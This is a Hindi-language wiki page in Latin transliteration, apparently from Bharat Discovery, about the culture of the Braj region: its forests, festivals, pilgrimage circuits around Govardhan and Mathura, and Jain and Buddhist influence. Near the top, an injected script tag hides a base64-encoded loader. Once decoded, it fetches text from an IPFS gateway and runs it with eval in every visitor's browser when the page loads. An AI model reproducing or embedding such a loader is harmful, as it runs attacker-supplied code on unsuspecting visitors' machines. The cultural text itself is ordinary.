ब्रज की संस्कृति

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
braj vishay soochi
braj ki sanskriti
vivaran bhagavat mean ‘braj’ kshetr vishesh ko iangit karate hue hi prayukt hua hai. vahaan ise ek chhote gram ki sanjna di gee hai. usamean ‘pur’ se chhota ‘gram’ aur usase bhi chhoti basti ko ‘braj’ kaha gaya hai. 16vian shatabdi mean ‘braj’ pradesh ke arth mean hokar ‘brajamandal’ ho gaya aur tab usaka akar 84 kos ka mana jane laga tha.
braj kshetr aj jise ham braj kshetr manate haian usaki dishaaian, uttar disha mean palaval (hariyana), dakshin mean gvaliyar (madhy pradesh), pashchim mean bharatapur (rajasthan) aur poorv mean eta (uttar pradesh) ko chhooti haian.
braj ke keandr mathura evan vrindavan
braj ke van kotavan, kamyavan, kumudavan, kokilavan, khadiravan, talavan, bahulavan, biharavan, belavan, bhadravan, bhaandiravan, madhuvan, mahavan, lauhajanghavan evan vrindavan
bhasha hiandi aur brajabhasha
pramukh parv evan tyohar holi, krishna janmashtami, yam dvitiya, guru poornima, radhashtami, govardhan pooja, gopashtami, nandotsav evan kans mela
pramukh darshaniy sthal krishna janmabhoomi, dvarikadhish mandir, rajakiy sangrahalay, baanke bihari mandir, rang nath ji mandir, govind dev mandir, isk aaun mandir, madan mohan mandir, danaghati mandir, manasi ganga, kusum sarovar, jayagurudev mandir, radha rani mandir, nand ji mandir, vishram ghat , daooji mandir
sanbandhit lekh braj ka pauranik itihas, braj chaurasi kos ki yatra, moorti kala mathura
any janakari braj ke van–upavan, kunj–nikunj, shri yamuna v giriraj atyant mohak haian. pakshiyoan ka madhur svar ekaanki sthali ko madak evan manohar banata hai. moroan ki bahutayat tatha unaki pioo–pioo ki avaz se vatavaran gunjayaman rahata hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

braj ke van-upavan, kunj-nikunj, yamuna v giriraj atyant mohak haian. pakshiyoan ka madhur svar ekaanki sthali ko madak evan manohar banata hai. moroan ki bahutayat tatha unaki pioo-pioo ki avaz se vatavaran gunjayaman rahata hai. balyakal se hi bhagavan krishna ki sundar mor ke prati vishesh kripa tatha usake pankhoan ko shish mukut ke roop mean dharan karane se skand vahan svaroop mor ko bhakti sahity mean mahattvapoorn sthan mila hai. bharat sarakar ne mor ko rashtriy pakshi ghoshit kar ise sanrakshan diya hai. braj ki mahatta preranatmak, bhavanatmak v rachanatmak hai tatha sahity aur kalaoan ke vikas ke lie yah upayukt sthali hai. sangit, nrity evan abhinay braj ki sanskriti ke pran bane haian. brajabhoomi anekanek mathoan, moortiyoan, mandiroan, mahantoan, mahatmaoan aur mahamanishiyoan ki mahima se vandaniy hai. yahaan sabhi sampradayoan ki aradhana sthali hai. braj ki raj ka mahatmy bhaktoan ke lie sarvopari hai.

isilie braj chaurasi kos mean 21 kilomitar ki govardhan-radhakund, 27 kilomitar ki garu d govind-vrindavan, 5-5 kos ki mathura-vrindavan, 15-15 kilomitar ki mathura, vrindavan; 6-6 kilomitar nandagaanv, barasana, bahulavan, bhaandiravan, 9 kilomitar ki gokul, 7.5 kilomitar ki baldev, 4.5-4.5 kilomitar ki madhuvan, lohavan; 2 kilomitar ki talavan, 1.5 kilomitar ki kumudavan ki nange paanv tatha dandoti parikrama lagakar shrriddhalu dhany hote haian. pratyek tyohar, utsav, rritu mah evan din par parikrama dene ka braj mean vishesh prachalan hai. desh ke kone-kone se akar shrriddhalu braj parikramaoan ko dharmik krity aur anushthan manakar ati shraddha bhakti ke sath karate haian. inase naisargik chetana, dharmik parikalpana, sanskriti ke anushilan unnayan, maulik v mangalamayi prerana prapt hoti hai. ashadh tatha adhik mas mean govardhan parvat parikrama hetu lakhoan shraddhalu ate haian. aisi apar bhi d mean bhi rashtriy ekata aur sadbhavana ke darshan hote haian. bhagavan shrikrishna, baladaoo ki lila sthali ka darshan to shraddhaluoan ke lie pramukh hai hi, yahaan akroor ji, uddhav ji, narad ji, dhruv ji aur vajranath ji ki yatrayean bhi ullekhaniy haian.

jain sanskriti ka prabhav

[[chitr:Danghati Temple Govardhan Mathura 3.jpg|left|thumb|250px|danaghati mandir, govardhan]] pauranik yug mean braj mean anek sanskritiyoan ka samanvay hote-hote jo braj sanskriti bani, vah aitihasik yug mean aur bhi vikasit huee. jaisa ki pratham shatabdi mean jain dharm ne braj ko vishesh roop se prabhavit kiya. jain dharm ke 22vean tirthankar neminathaji braj ke shauripur rajy ke rajakumar v bhagavan shrikrishna ke chachere bhaee the. mathura mean jab vah vivah ke lie padhare, tab barat ke bhojan mean pak de ge pashuoan ke vishal samooh ko dekhakar unhoanne jiv-hiansa ke viruddh vivah karana hi asvikar kar diya aur tap karane chale ge. bad mean unaki avivahit patni rajul ne bhi unhian ka anukaran kiya. isase braj mean jiv-hiansa virodhi jo pratikriya huee usane poore samaj ko hi prabhavit kiya. aj bhi brajavasiyoan ka bhojan niramish v satvik hai. abhi bhi adhikaansh brajavasi pyaj aur yahaan tak ki kuchh to tamatar tak se parahej karate haian. mathura v shauripur donoan hi kisi samay jain dharm ke gadh the. bateshvar mean tirthankar ki jo divy pratima hai, vah alha dvara sthapit kahi jati hai. janboo svami ke karan chaurasi tirth aj bhi bharat prasiddh hai. kankali tile par kisi yug mean jain dharm ka pradhan keandr tha. yahaan ka vishal jain stoop dev nirmit mana jata tha. jainoan ka ek yug mean is kshetr par bhari prabhav tha.

bauddh dharm ka prachar-prasar

bauddh dharm ka bhi mathura mean vyapak prachar raha tha. jab bhagavan gautam buddh pratham bar mathura ae to us samay yahaan yakshoan ka b da atank tha. vaianda namak yakshini ne pahale bhagavan buddh ko pareshan kiya, parantu bad mean vah unaki bhakt ban gee thi. mathura mean bauddh dharm kitana phala-phoola aur usaka yahaan kitana vistar hua, yah chini yatri phahyan v hvenasaang ke varnanoan se spasht ho jata hai. buddh ke sau varsh bad mathura mean hi prasiddh bhikshu upagupt ka janm hua tha. ve maury samrat ashok ko apana shishy banakar bauddh dharm ko bharat se bahar poore eshiya mean phailane me saphal hue. mathura ke hi kushal kalakaroan ne sarvapratham bhagavan buddh ki moorti ka nirman kiya tha. mathura mean bauddhoan ke jitane vihar aur sangharam the, unaka varnan videshi yatriyoan ne b de vistar se kiya hai. is prakar jab tak bharat svatantr raha, braj ki sanskriti samanvay tatha uchch adarshoan ko anupramanit karati huee vividh prabhavoan se navin oj, tej aur sanvuddhishali bani rahi, parantu desh par muslimoan ke akramanoan ke bad sthiti badal gee. braj ki sanskriti aur sanvriddhi par pahala akraman mahamood gazanavi ke netritv mean hua.



left|30px|link=braj ka svatantrata sangram 1920-1947|pichhe jaean braj ki sanskriti right|30px|link=braj ki jivan shaili|age jaean


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah